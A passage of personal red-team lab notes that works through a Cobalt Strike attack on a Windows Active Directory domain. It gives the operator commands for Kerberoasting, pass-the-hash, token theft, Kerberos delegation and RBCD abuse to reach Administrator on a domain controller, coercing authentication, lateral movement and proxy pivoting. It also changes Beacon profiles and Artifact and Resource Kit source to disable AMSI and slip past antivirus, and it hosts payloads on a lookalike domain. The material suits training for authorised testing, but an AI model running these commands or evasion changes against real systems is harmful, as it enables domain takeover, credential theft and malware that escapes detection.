execute-assembly C:\Tools\Rubeus\Rubeus.exe ptt /ticket:ticket.kirbi /createnetonly:C:\Windows\System32\cmd.exe
```

Notes

The important part is tracking which process received the ticket. After passing the ticket, I steal the token from the new process or inject into it depending on the workflow.

Careful Kerberoast

General

This workflow is for targeted Kerberoasting instead of broad roasting. I use LDAP or ADSearch first to find the exact SPN, then roast only the account or SPN I care

about.

Find Kerberoastable Accounts With ADSearch

```
execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe -s "(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" --attributes cn,samaccountname,serviceprincipalname --json
```

LDAP Addition: Find Kerberoastable Users

```
ldapsearch (&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(userAccountControl:1.2.840.113556.1.4.803:=2))) --attributes samAccountName,servicePrincipalName
```

Check a Specific Account

```
execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe -s "(samaccountname=mssql_svc)" --attributes serviceprincipalname
```

Roast a Specific SPN

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe kerberoast /spn:MSSQLSvc/lon-sql-1.contoso.com:1433 /simple /nowrap
```

Notes

Targeted Kerberoasting is cleaner because I only request tickets for accounts I actually care about. In the lab, SQL service accounts are usually worth checking first because they may lead into SQL access, linked servers, or service account lateral movement.

Cobalt User Impersonation

General

This section is for changing Beacon context using credentials, tokens, hashes, or tickets. The goal is to move from one identity to another without relying on noisy interactive logons.

Token Impersonation

Turn plaintext credentials into an impersonated token:

```
make_token CONTOSO\rsteel Passw0rd!
```

Revert back to the original Beacon context:

```
rev2self
```

Open the process browser:

```
process_browser
```

Steal and store a token from a selected process:

```
Click Steal Token.  
Mask Type: TOKEN_ALL_ACCESS  
Store: true
```

Use a stored token:

```
token-store use 0
```

Remove a stored token:

```
token-store remove 0
```

Notes

Token impersonation is useful when I want to test access as another user or reuse a privileged process context. I always track whether the token is temporary, stored, or reverted.

Pass the NTLM Hash

Use pass-the-hash from Cobalt:

```
pth CONTOSO\rsteel fc525c9683e8fe067095ba2ddc971889
```

Notes

This gives a usable logon context from an NTLM hash. After using PTH, I validate access before trying lateral movement.

Pass the Ticket

Request a TGT using an AES256 key:

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:rsteel /domain:CONTOSO.COM /aes256:05579261e29fb01f23b007a89596353e605ae307afcd1ad3234fa12f94ea6960 /nowrap
```

Create a netonly process and pass the TGT into it:

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnonly /program:C:\Windows\notepad.exe /username:rsteel /domain:CONTOSO.COM /password:FakePass /ticket:[TGT]
```

Steal the token of the new process:

```
steal_token [PID]
```

Notes

The netonly process is used as a container for the ticket. Once the ticket is inside that process, I steal the token and use that context for access testing or lateral movement.

Process Injection

Open the process browser:

```
process_browser
```

Select the process of the new user and inject into it:

```
Click Inject.  
Select the tcp-local listener.
```

CLI option:

```
inject 2424 x64 tcp-local
```

Notes

Injection is useful when I want the new Beacon to run inside the process that already has the correct token or Kerberos context.

Cobalt Discovery

BOFHound

BOFHound is used to turn Cobalt Strike LDAP output into BloodHound-compatible data. The idea is to collect the AD data from Beacon using LDAP, pull the Cobalt logs from the team server, then process those logs into BloodHound JSON.

The two LDAP queries collect the domain, OU, GPO, users, groups, and computers with security descriptors. This gives BloodHound enough data to map object relationships and ACL-based attack paths.

Collect Domain, OU, and GPO Data

```
ldapsearch (|(objectClass=domain)(objectClass=organizationalUnit)(objectClass=groupPolicyContainer)) --attributes *,ntsecuritydescriptor
```

Collect Users, Groups, and Computers

```
ldapsearch (|(samAccountType=805306368)(samAccountType=805306369)(samAccountType=268435456)) --attributes *,ntsecuritydescriptor
```

Retrieve Cobalt Logs From the Team Server

From WSL, I pull the Cobalt logs to the Windows Desktop so BOFHound can process them.

```
cd /mnt/c/Users/Attacker/Desktop  
scp -r attacker@10.0.0.5:/opt/cobaltstrike/logs .
```

Password:

```
Passw0rd!
```

Run BOFHound

```
bofhound -i logs
```

Setup BloodHound

Start BloodHound from the attack box:

From the Start Menu, open Docker Desktop.

Click the Containers link on the left-hand side.

Start all the containers by clicking the play button, and wait for them to start.

From the taskbar, open Microsoft Edge.

Click the BloodHound shortcut in the favourites bar, or manually browse to `http://localhost:8080/ui/login`

The browser should autofill the credentials. If not, use:

admin : eA%N4frBrnn2

Notes

I use BOFHound when I want BloodHound-style graphing without running SharpHound. The workflow is:

Step	Action
Collect LDAP data	Run the two LDAP queries from Beacon
Retrieve logs	Copy Cobalt logs from the team server
Convert logs	Run BOFHound against the logs
Import data	Load the generated JSON into BloodHound
Analyze paths	Use BloodHound to map local admin, GPO, ACL, group, and computer relationships

BloodHound GPO Mapping

General

This section maps a GPO to local administrator access. The reason this matters is that BloodHound may show the GPO object, but the exact local admin relationship may need to be confirmed by reading the GPO files from SYSVOL.

The workflow is:

Step	Purpose
Query GPOs	Find the interesting GPO in BloodHound
Note the GPC path	Locate the GPO files in SYSVOL
Download the policy file	Read the group membership settings
Identify local admin mapping	Find which SID is added to local Administrators
Resolve the SID	Identify the group or user
Add custom BloodHound edges	Represent the local admin relationship manually

Query GPOs

```
MATCH (n:GPO) RETURN n
```

Select the Custom GPO

Example GPO:

```
Workstation Admins
```

Note the GPC Path

The GPC path points to where the policy files live in SYSVOL.

```
\\contoso.com\SysVol\contoso.com\Policies\{2583E34A-BBCE-4061-9972-E2ADAB399BB4}
```

Affected Computer Object IDs

The affected computer object IDs are the computers that receive the GPO.

```
S-1-5-21-3926355307-1661546229-813047887-2102
```

Browse to the SecEdit Policy Path

```
ls \\contoso.com\SysVol\contoso.com\Policies\{2583E34A-BBCE-4061-9972-E2ADAB399BB4}\Machine\Microsoft\Windows NT\SecEdit\
```

Download the INF File

```
download \\contoso.com\SysVol\contoso.com\Policies\{2583E34A-BBCE-4061-9972-E2ADAB399BB4}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
```

Group Membership Finding

Inside the policy file, the important part is the group membership section.

```
[Group Membership]
*S-1-5-21-3926355307-1661546229-813047887-1106__Memberof = *S-1-5-32-544
*S-1-5-21-3926355307-1661546229-813047887-1106__Members =
```

Analysis

The key SID is:

```
S-1-5-32-544
```

That SID is the local Administrators group. This means the domain SID listed as a member is being added to local Administrators on the affected computers.

The member SID is:

```
S-1-5-21-3926355307-1661546229-813047887-1106
```

In BloodHound, this SID maps to:

```
Workstation Admins
```

The group contains:

```
RSTEEL  
PCHILDS
```

Add Custom BloodHound AdminTo Edges

After confirming the GPO local admin mapping, I create custom BloodHound relationships so the graph shows the access path clearly.

```
MATCH (x:Computer{objectid:'S-1-5-21-3926355307-1661546229-813047887-2101'})  
MATCH (y:Group{objectid:'S-1-5-21-3926355307-1661546229-813047887-1106'})  
MERGE (y)-[:AdminTo]->(x)
```

```
MATCH (x:Computer{objectid:'S-1-5-21-3926355307-1661546229-813047887-2102'})  
MATCH (y:Group{objectid:'S-1-5-21-3926355307-1661546229-813047887-1106'})  
MERGE (y)-[:AdminTo]->(x)
```

Notes

The important lesson here is that GPOs can create local admin rights even when they are not obvious from normal user/group enumeration. Reading the GPO file directly lets me confirm the exact SID relationship instead of guessing.

Cobalt Lateral Movement

General

This section is for moving from one Beacon to another host using Cobalt-native lateral movement. I first impersonate a user, test access to the target host, then choose the lateral movement method that fits the available access.

Test Connection

Impersonate the user:

```
make_token CONTOSO\rsteel Passw0rd!
```

Check access to the target host filesystem:

```
ls \\lon-ws-1\c$
```

Jump With WinRM

```
jump winrm64 lon-ws-1 smb
```

Jump With PsExec

```
jump psexec64 lon-ws-1 smb
```

ScShell

Load the ScShell Aggressor script:

```
C:\Tools\ScShell\CS-B0F\scshell.cna
```

Use ScShell to move laterally:

```
jump scshell64 lon-ws-1 smb
```

Manual SMB Beacon Placement

Move to the target admin share:

```
cd \\lon-ws-1\ADMIN$
```

Upload the SMB Beacon binary:

```
upload C:\Payloads\smb_x64.exe
```

Run the Beacon with WMI:

```
remote-exec wmi lon-ws-1 C:\Windows\smb_x64.exe
```

Link to the named pipe:

```
link lon-ws-1 TSVCPipe-4b2f70b3-ceba-42a5-a4b5-704e1c41337
```

Notes

The lateral movement flow is simple:

Step	Purpose
<code>make_token</code>	Move into the user context that should have access
<code>ls \\host\c\$</code>	Confirm admin share access before jumping
<code>jump</code>	Use built-in movement when possible
ScShell	Use the BOF-based service-control method
Upload SMB Beacon	Manually place a payload when needed
<code>link</code>	Connect to the SMB Beacon pipe

Cobalt Pivoting

General

Pivoting lets me use a Beacon as a path into a network that the attack box cannot directly reach. In the lab, this was used to route tooling through Cobalt SOCKS and authenticate to internal services through the proxy path.

Start SOCKS

```
socks 1080 socks5
```

Configure WSL SOCKS

Open the proxychains configuration from WSL:

```
sudo nano /etc/proxychains.conf
```

Comment out `proxy_dns` on line 38.

Add this SOCKS entry at the end:

```
socks5 10.0.0.5 1080
```

Using a TGT Through the Proxy

Get a TGT for the user:

```
proxychains getTGT.py 'CONTOSO.COM/rsteel:Passw0rd!' -dc-ip 10.10.120.1
```

Export the ticket cache:

```
export KRB5CCNAME=rsteel.ccache
```

Authenticate to the SQL instance through Kerberos:

```
proxychains mssqlclient.py contoso.com/rsteel@lon-db-1 -windows-auth -no-pass -k -dc-ip 10.10.120.1
```

SQL test query:

```
select @@servername;  
exit
```

Notes

This workflow is useful when the Beacon has the network path but the attack box needs to run tooling through WSL. SOCKS connects the two workflows together.

Kerberos

Unconstrained Delegation

General

Unconstrained delegation is useful because any user who authenticates to the delegated computer may leave a usable TGT behind. In the lab, the workflow is to identify the unconstrained delegation computer, gain access to it, monitor for TGTs, and then use a captured TGT in a new process.

LDAP: Find Computers With Unconstrained Delegation

```
ldapsearch (&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288)) --attributes samaccountname
```

Impersonate User

```
make_token CONTOSO\rsteel Passw0rd!
```

Jump to the Unconstrained Delegation Computer

```
jump psexec64 lon-ws-1 smb
```

Monitor for TGTs

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe monitor /nowrap
```

Pass Captured TGT Into a New Process

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnewonly /program:C:\Windows\System32\cmd.exe /domain:CONTOSO.COM /username:dyork /password:FakePass /ticket:[TICKET]
```

Steal Token From the New Process

```
steal_token [PID]
```

Confirm Token Identity

```
run klist
```

Confirm New Access

```
ls \\lon-dc-1\c$
```

Revert

```
rev2self
```

Kill the New Process

```
kill [PID]
```

Notes

The key value of unconstrained delegation is the captured TGT. Once the TGT is placed into a new process, I steal the token from that process and use it to access the target resource.

Constrained Delegation

General

Constrained delegation is different from unconstrained delegation because it allows impersonation only to specific services. This makes the `msDS-`

`AllowedToDelegateTo` attribute the most important part of the finding.

LDAP: Find Computers With Constrained Delegation

```
ldapsearch (&(samAccountType=805306369)(msDS-AllowedToDelegateTo=*)) --attributes samAccountName,msDS-AllowedToDelegateTo
```

Confirm TrustedToAuthForDelegation Flag

```
ldapsearch (&(samAccountType=805306369)(samaccountname=dub-web-1$)) --attributes userAccountControl
```

Impersonate the Delegation Computer User

```
make_token CONTOSO\rsteel Passw0rd!
```

Jump to the Constrained Delegation Computer

```
jump psexec64 lon-ws-1 smb
```

Dump the Computer TGT

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x3e7 /service:krbtgt /nowrap
```

Impersonate Administrator to the Allowed Service

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:lon-ws-1$ /msdspn:cifs/lon-fs-1 /ticket:[TGT] /impersonateuser:Administrator /nowrap
```

Inject the New Ticket Into a New Process

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetenonly /program:  
C:\Windows\System32\cmd.exe /domain:CONTOSO.COM /username:Administrator /password:FakePas  
s /ticket:[CIFS TICKET]
```

Steal Token

```
steal_token [PID]
```

Confirm New Access

```
ls \\lon-dc-1\c$
```

Revert

```
rev2self
```

Kill the New Process

```
kill [PID]
```

Notes

For constrained delegation, I always check the allowed service first. The S4U ticket only applies to the service listed in the delegation attribute, such as CIFS on a specific host.

Kerberos Workflow

General

The Kerberos workflow was noted as an alternative way to handle the ticket workflow after RBCD has already been assigned. The methodology here is:

Step	Purpose
Triage	Find the computer TGT
Dump	Extract the computer TGT
S4U	Impersonate a user to CIFS
Inject	Use the resulting ticket in a process

Triage for Computer TGT

```
krb_triage
```

Dump Computer TGT

```
krb_dump /user:PC /service:krbtgt
```

S4U Attack

Use S4U to impersonate the domain Administrator in a CIFS ticket for the target server.

```
krb_s4u
```

Inject Ticket With Rubeus

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:  
C:\Windows\System32\cmd.exe /domain:CONTOSO.COM /username:Administrator /password:FakePas  
s /ticket:[CIFS TICKET]
```

Notes

This is used after the RBCD setup is already complete. Kerberos helps triage and dump the relevant Kerberos material, while Rubeus can still be used to place the final ticket into a usable process.

Service Name Substitution Lab

General

This path is based on constrained delegation, but instead of using the exact service in the original ticket, I substitute the service name for another service on the same host.

The important detail is that the service name can be changed, but the host stays the same. This is why the original delegated service and the substituted service need to target the same machine.

Find Constrained Delegation Computers

```
ldapsearch (&(samAccountType=805306369)(msDS-AllowedToDelegateTo=*)) --attributes samAccountName,msDS-AllowedToDelegateTo
```

Confirm the Delegation Attribute

```
ldapsearch (&(samAccountType=805306369)(samaccountname=lon-ws-1$)) --attributes userAccountControl
```

Impersonate the User With Access

```
make_token CONTOSO\rsteel Passw0rd!
```

Move to the Constrained Delegation Computer

```
jump psexec64 lon-ws-1 smb
```

Dump the Computer TGT

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x3e7 /service:krbtgt /nowrap
```

Impersonate and Substitute the Service Name

The original SPN is `time/lon-dc-1`, but the final service is changed to `cifs`.

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:lon-ws-1$ /msdss  
pn:time/lon-dc-1 /altservice:cifs /ticket:[TGT] /impersonateuser:Administrator /nowrap
```

Place the Ticket Into a New Process

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnewonly /program:  
C:\Windows\System32\cmd.exe /domain:CONTOSO.COM /username:Administrator /password:FakePas  
s /ticket:[CIFS TICKET]
```

Steal the New Process Token

```
steal_token [PID]
```

Confirm Access

```
ls \\lon-dc-1\c$
```

Revert and Clean Up

```
rev2self
```

```
kill [PID]
```

Notes

This works because constrained delegation is tied to a host and service. The lab shows that the service portion can be substituted to another service on the same host, which turns a less useful delegated service into a more useful CIFS ticket.

S4U2Self Computer Takeover

General

This path uses unconstrained delegation and a coerced machine authentication event. The goal is to capture a machine TGT, then use S4U2Self to create a usable service ticket as a privileged user.

The flow is:

Phase	Purpose
Find unconstrained delegation	Identify the host that can capture useful TGTs
Move to that host	Get a Beacon where the TGTs will be cached
Monitor tickets	Wait for incoming TGTs
Coerce authentication	Trigger the target to authenticate to the delegated host
Use S4U2Self	Create a service ticket as Administrator
Inject and steal	Place the ticket into a process and use the token

Find Unconstrained Delegation

```
ldapsearch (&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288)) --attributes samaccountname
```

Impersonate the User

```
make_token CONTOSO\rsteel Passw0rd!
```

Move to the Unconstrained Delegation Computer

```
jump psexec64 lon-ws-1 smb
```

Monitor for TGTs

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe monitor /nowrap
```

Coerce the Domain Controller

```
execute-assembly C:\Tools\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe lon-dc-1 lon-ws-1
```

Stop the Monitor Job

```
jobs
```

```
jobkill 0
```

Use S4U2Self

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:Administrator /self /altservice:cifs/lon-dc-1 /ticket:[TGT] /nowrap
```

Place the Ticket Into a New Process

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnewonly /program:C:\Windows\System32\cmd.exe /domain:CONTOSO.COM /username:Administrator /password:FakePass /ticket:[CIFS TICKET]
```

Steal the Token

```
steal_token [PID]
```

Confirm Access

```
ls \\lon-dc-1\c$
```

Revert and Clean Up

```
rev2self
```

```
kill [PID]
```

Notes

The important thing here is the machine TGT. Once the machine account TGT is captured, S4U2Self is used to create a usable CIFS ticket for the domain controller as Administrator.

RBCD Resource-Based Constrained Delegation

General

Resource-Based Constrained Delegation is based on writing to the target computer's `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute. The target computer controls which principals are allowed to act on its behalf.

The lab path here is about finding a computer where the right write property exists, adding controlled computer SIDs to the RBCD attribute, then using S4U to request a CIFS ticket as Administrator.

Requirements

Requirement	Meaning
Control over an SPN	I need a computer account or other principal with an SPN.
WriteProperty over the target computer	I need the right to write the RBCD attribute.
Target computer SID	Needed when setting or validating delegation paths.

Requirement	Meaning
Controlled computer SID	The principal that will be allowed to act on behalf of the target.
Computer TGT	Used to request the final S4U service ticket.

Outcome

The goal is to assign delegation rights to the target computer so the controlled SPN can perform S4U and obtain a service ticket as a privileged user to the target machine.

LDAP: Check Existing RBCD

```
ldapsearch (msDS-AllowedToActOnBehalfOfOtherIdentity=*) --attributes name,distinguishedName,msDS-AllowedToActOnBehalfOfOtherIdentity
```

LDAP: Find Computer Objects

```
ldapsearch (objectCategory=computer) --attributes name,dNSHostName,distinguishedName,objectSid
```

Get All Computer Distinguished Names

```
execute-assembly C:\Tools\SharpView\SharpView\bin\Release\SharpView.exe Get-DomainComputer -Properties distinguishedname
```

Check ACL of a Specific Computer

```
execute-assembly C:\Tools\SharpView\SharpView\bin\Release\SharpView.exe Get-DomainObjectACL -SearchBase "<COMPUTER_DN>"
```

Resolve the SID From the ACL Finding

```
execute-assembly C:\Tools\SharpView\SharpView\bin\Release\SharpView.exe Get-DomainGroup -  
Identity S-1-5-21-3926355307-1661546229-813047887-1107
```

Confirm Current RBCD State

```
execute-assembly C:\Tools\SharpView\SharpView\bin\Release\SharpView.exe Get-DomainCompute  
r -Properties PrincipalsAllowedToDelegateToAccount
```

Impersonate the User From the ACL Path

```
make_token CONTOSO\rsteel Passw0rd!
```

Get Target Computer SID

```
execute-assembly C:\Tools\SharpView\SharpView\bin\Release\SharpView.exe Get-DomainObject  
-Identity lon-ws-1 -Properties objectsid
```

Target SID from the notes:

```
S-1-5-21-3926355307-1661546229-813047887-1110
```

Get Controlled Computer SID

```
execute-assembly C:\Tools\SharpView\SharpView\bin\Release\SharpView.exe Get-DomainObject  
-Identity lon-wkstn-1 -Properties objectsid
```

Controlled computer SID from the notes:

```
S-1-5-21-3926355307-1661546229-813047887-2101
```

Assign RBCD With Rubeus dsrewriter

Generic form:

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dsrewriter /target:lon-fs-1$ /sid:SID1,SID2 /action:add /attr:msDS-AllowedToActOnBehalfOfOtherIdentity
```

Lab example:

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dsrewriter /target:lon-fs-1$ /sid:S-1-5-21-3926355307-1661546229-813047887-1110,S-1-5-21-3926355307-1661546229-813047887-2101 /action:add /attr:msDS-AllowedToActOnBehalfOfOtherIdentity
```

Request the Target Service Ticket

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:lon-wkstn-1$ /impersonateuser:Administrator /msdsspn:cifs/lon-fs-1 /ticket:[TGT] /nowrap
```

Place the Ticket Into a New Process

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnewonly /program:C:\Windows\System32\cmd.exe /domain:CONTOSO.COM /username:Administrator /password:FakePass /ticket:[CIFS TICKET]
```

Steal the Token

```
steal_token [PID]
```

Confirm Access

```
ls \\lon-dc-1\c$
```

Revert and Clean Up

```
rev2self
```

```
kill [PID]
```

Notes

The RBCD path is all about object control. Once the controlled computer is allowed to act on behalf of the target computer, S4U is used to request a ticket to the target service as a privileged user.

Defense Evasion

Arsenal Kit Architecture

The Arsenal Kit is where the Cobalt Strike kits are organized and built. I used this section to understand which folders produce which artifacts and where the generated files end up.

Item	Purpose
<code>arsenal_kit.config</code>	Defines which kits are built when <code>build_arsenal_kit.sh</code> runs.
<code>build_arsenal_kit.sh</code>	Builds all configured kits.
<code>dist</code>	Contains produced <code>.cna</code> , <code>.exe</code> , <code>.dll</code> , <code>.o</code> , <code>.ps1</code> , and related outputs.
<code>kits</code>	Contains the individual kit source folders.
<code>templates</code>	Contains template files used by the kits.
<code>utils</code>	Contains helper scripts and utilities.

Dist Folder Notes

The `dist` folder contains the built outputs.

Folder	Notes
<code>artifact</code>	Contains artifact outputs such as <code>peek</code> , <code>pipe</code> , and <code>readfile</code> .
<code>mimikatz</code>	Contains output for the built-in Mimikatz BOF CNA.

Folder	Notes
<code>process_inject</code>	Contains process injection output.
<code>resource</code>	Contains resource kit output.
<code>sleepmask</code>	Contains sleep mask implementation output.

Kits Folder Notes

The `kits` folder contains the source structure for the individual kits.

Kit	Notes
<code>artifact</code>	Contains <code>src-common</code> and <code>src-main</code> . The <code>src-common</code> folder contains C files for bypasses.
<code>resource</code>	Contains resource templates.
<code>process_inject</code>	Controls process injection behavior.
<code>sleepmask</code>	Controls sleep masking behavior.

Profile Stage Block

The stage block is used to change Beacon stage behavior and static indicators.

```
stage {
    set userwx "false";
    set cleanup "true";
    set copy_pe_header "false";
    set module_x64 "Hydrogen.dll";

    transform-x64 {
        strep "beacon.x64.dll" "bacon.x64.dll";
        strep "%02d/%02d/%02d" "%02d/%02d/%04d";
        strep "%s as %s\\%s: %d" "%s - %s\\%s: %d";
        strep "%02d/%02d/%02d %02d:%02d:%02d" "%02d-%02d-%02d %02d:%02d:%02d";
        strep "\\x48\\x89\\x5C\\x24\\x08\\x57\\x48\\x83\\xEC\\x20\\x48\\x8B\\x59\\x10\\x48\\x8B\\xF9\\x48\\x8B\\x49\\x08\\xFF\\x17\\x33\\xD2\\x41\\xB8\\x00\\x80\\x00\\x00" "\\x48\\x89\\x5C\\x24\\x08\\x57\\x48\\x83\\xEC\\x20\\x48\\x8B\\x59\\x10\\x48\\x8B\\xF9\\x48\\x8B\\x49\\x08\\xFF\\x17\\x33\\xD2\\x41\\xB8\\x01\\x80\\x00\\x00";
    }
}
```

Profile Post-Ex Block

The post-ex block controls post-execution behavior, spawn process, named pipe behavior, cleanup, AMSI behavior, and string replacements.

```
post-ex {
    set spawn_to_x64 "%windir%\sysnative\werfault.exe";
    set cleanup "true";
    set pipe_name "dotnet-diagnostic-#####, #####-####-####-####-#####";
    set thread_hint "ntdll.dll!RtlUserThreadStart+0x2c";
    set amsi_disable "true";

    transform-x64 {
        strrep "This program cannot be run in DOS mode." "This is totally not a PE.";
        strepex "PowerPick" "CLRCreateInstance failed w/hr 0x%08lx" "CLRCreateInstance failed: 0x%08lx";
        strepex "PowerPick" "Failed to get default AppDomain w/hr 0x%08lx" "Failed to get default AppDomain: 0x%08lx";
        strepex "ExecuteAssembly" "Invoke_3 on EntryPoint failed." "Unhandled exception.";
        strepex "ExecuteAssembly" "Failed to load the assembly w/hr 0x%08lx" "Failed to load the assembly: 0x%08lx";
    }
}
```

Task Size Modification

This increases the maximum task size.

```
set tasks_max_size "2097152";
```

Notes

The evasion work in this section is mainly profile and kit tuning. The most important practical pieces are:

Area	Why It Matters
Stage block	Reduces obvious static Beacon indicators.
Post-ex block	Changes post-ex behavior and strings.
Spawnto	Controls where post-ex jobs are created.
Pipe name	Changes named pipe indicators.
Thread hint	Changes thread start behavior.

Area	Why It Matters
Artifact kit	Changes generated payload behavior.
Resource kit	Changes script/resource templates.

Defense Evasion - Practical

Modify Malleable C2

This part of the lab is where I tuned the profile before generating and using payloads. The point is to make the Beacon stage and post-ex behaviour cleaner before doing lateral movement or running post-exploitation commands.

Team Server Profile Location

Move into the profiles directory on the team server.

```
cd /opt/cobaltstrike/profiles
```

Open the default profile for editing.

```
nano default.profile
```

Stage Block

The stage block controls Beacon memory and static indicators. I used this to avoid RWX memory, clean up the stage, avoid copying PE headers, and stomp into a module.

```
stage {
    set userwx "false";
    set cleanup "true";
    set copy_pe_header "false";
    set module_x64 "Hydrogen.dll";

    transform-x64 {
        strep "beacon.x64.dll" "bacon.x64.dll";
        strep "%02d/%02d/%02d" "%02d/%02d/%04d";
        strep "%s as %s\\%s: %d" "%s - %s\\%s: %d";
        strep "%02d/%02d/%02d %02d:%02d:%02d" "%02d-%02d-%02d %02d:%02d:%02d";
    }
}
```

```
}  
}
```

Post-Ex Block

The post-ex block controls fork-and-run behaviour, post-ex cleanup, named pipes, thread hints, AMSI behaviour, and post-ex string modifications.

```
post-ex {  
    set spawn_to_x64 "%windir%\sysnative\werfault.exe";  
    set cleanup "true";  
    set pipename "dotnet-diagnostic-#####, #####-####-####-####-#####";  
    set thread_hint "ntdll.dll!RtlUserThreadStart+0x2c";  
    set amsi_disable "true";  
  
    transform-x64 {  
        strrep "This program cannot be run in DOS mode." "This is totally not a PE.";  
        strepex "PowerPick" "CLRCreateInstance failed w/hr 0x%08lx" "CLRCreateInstance failed: 0x%08lx";  
        strepex "PowerPick" "Failed to get default AppDomain w/hr 0x%08lx" "Failed to get default AppDomain: 0x%08lx";  
        strepex "ExecuteAssembly" "Invoke_3 on EntryPoint failed." "Unhandled exception.";  
        strepex "ExecuteAssembly" "Failed to load the assembly w/hr 0x%08lx" "Failed to load the assembly: 0x%08lx";  
    }  
}
```

Task Size

This increases the maximum task size so larger Beacon tasks can be handled.

```
set tasks_max_size "2097152";
```

Restart Team Server

Restart the Cobalt Strike container after changing the profile.

```
sudo /usr/bin/docker restart cobaltstrike-cs-1
```

Check the logs to confirm the profile loaded correctly.

```
sudo /usr/bin/docker logs cobaltstrike-cs-1
```

Notes

The profile changes matter because they affect the behaviour of generated payloads and post-ex jobs. I want these settings in place before testing payloads, service execution, lateral movement, or post-ex commands.

Modify Artifact Kit

General

The Artifact Kit is used to modify generated payload artifacts. In the lab, the target file was `patch.c`, and the goal was to change the code structure that ThreatCheck identified while keeping the logic the same.

Open Artifact Kit Source

Open the Artifact Kit folder.

```
C:\Tools\cobaltstrike\arsenal-kit\kits\artifact
```

Open the common source folder.

```
C:\Tools\cobaltstrike\arsenal-kit\kits\artifact\src-common
```

Open the source file.

```
patch.c
```

Modify Service Payload Loop

The first modification was around line 45 and applied to service executable payloads.

```
x = length;
while ( x-- ) {
    * ( ( char * ) buffer + x ) = * ( ( char * ) buffer + x ) ^
key [ x % 8 ];
}
```

Modify Normal EXE Payload Loop

The second modification was around line 116 and applied to normal executable payloads.

```
int x = length;
while ( x-- ) {
    * ( ( char * ) ptr + x ) = * ( ( char * ) buffer + x ) ^ ke
y [ x % 8 ];
}
```

Build Artifact Kit

Change into the Artifact Kit directory from WSL.

```
cd /mnt/c/Tools/cobaltstrike/arsenal-kit/kits/artifact
```

Build the modified Artifact Kit.

```
./build.sh mailslot VirtualAlloc 344564 0 false false none /mnt/c/Tools/cobaltstrike/cust
om-artifacts/mailslot
```

Load Artifact CNA

Load the generated CNA into Cobalt Strike.

```
Cobalt Strike > Script Manager > Load
```

```
C:\Tools\cobaltstrike\custom-artifacts\mailslot\artifact.cna
```

Notes

The important thing here is that the payload logic stayed the same, but the structure changed. This is useful when a signature catches the original implementation pattern.

Modify Resource Kit

General

The Resource Kit controls generated script and resource templates. In the lab, this was used to modify resource templates and load the resulting CNA into Cobalt Strike.

Build Resource Kit

Change into the Resource Kit folder.

```
cd /mnt/c/Tools/cobaltstrike/arsenal-kit/kits/resource
```

Build the resource templates into a custom resource folder.

```
./build.sh /mnt/c/Tools/cobaltstrike/custom-resources
```

Open Custom Resources

Open the custom resources folder.

```
C:\Tools\cobaltstrike\custom-resources
```

Template File

The 64-bit template file modified in the lab was:

```
template.x64.ps1
```

Template Modification: System.dll String

Original:

```
.Equals('System.dll')
```

Modified:

```
.Equals('Sys'+'.dll')
```

Template Modification: WriteProcessMemory

The template was also modified around the memory-copy logic to use a WriteProcessMemory delegate.

```
$var_wpm = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll WriteProcessMemory), (func_get_delegate_type @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr]) ([Bool])))
```

Compress Template

The compression template file was:

```
compress.ps1
```

The obfuscated output was placed into the compression template so generated scripted web delivery content would be different from the original template.

Load Resource CNA

Load the generated Resource Kit CNA into Cobalt Strike.

```
Cobalt Strike > Script Manager > Load
```

```
C:\Tools\cobaltstrike\custom-resources\resources.cna
```

Notes

The Resource Kit changes affect generated script-based payload content. The goal is to modify obvious template strings and generation logic before creating payloads.

Testing Scripted Web Delivery

Notes

The lab note here was that using the attacker IP directly caused Defender to detect and kill the payload. Using a domain name instead of an IP was the cleaner route.

Host a 64-Bit Payload

```
Attacks > Scripted Web Delivery
```

```
Listener: http
```

```
Click Launch
```

Domain Name Rule

Use a domain name instead of the raw attacker IP.

```
www.bleepincomputer.com
```


Notes

The key takeaway from this test is that payload hosting and callback naming matter. Even when the payload is technically valid, the delivery format and host indicator can change whether it survives execution.

Testing Jump PsExec64

General

This test checks whether the modified artifact behaviour works during service-based lateral movement. This is where `ak-settings` matters because service payloads may use their own spawn behaviour instead of the normal Beacon `spawnto`.

Impersonate a Local Admin to the Target

```
